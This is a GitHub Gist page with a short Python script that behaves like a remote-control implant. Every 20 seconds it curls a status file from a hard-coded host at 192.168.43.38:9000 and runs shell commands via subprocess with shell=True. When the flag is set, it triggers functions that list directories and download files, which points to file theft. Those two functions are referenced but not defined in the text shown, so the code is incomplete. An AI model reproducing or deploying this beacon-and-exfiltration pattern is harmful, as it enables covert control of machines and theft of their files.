Skip to content

Instantly share code, notes, and snippets.

@NimishMishra
Created July 7, 2020 16:28
Show Gist options
  • Save NimishMishra/957646fa5532a4fbcd7aa37ea81bbbda to your computer and use it in GitHub Desktop.
Save NimishMishra/957646fa5532a4fbcd7aa37ea81bbbda to your computer and use it in GitHub Desktop.
import subprocess
import time
import os
import sys
import signal
data = ""
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
output = "Failed to execute command " + str(e)
return output
def check_status():
global data
COMMAND = "curl http://192.168.43.38:9000/status.txt -o status.txt"
run_command(COMMAND)
try:
file_object = open("status.txt", "r")
data = file_object.read()
file_object.close()
COMMAND = "rm status.txt"
run_command(COMMAND)
data = data.split("\n")
if(data[0] == "1"):
fetch_directory_list()
download_fetched_files()
except:
pass
while True:
check_status()
time.sleep(20)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment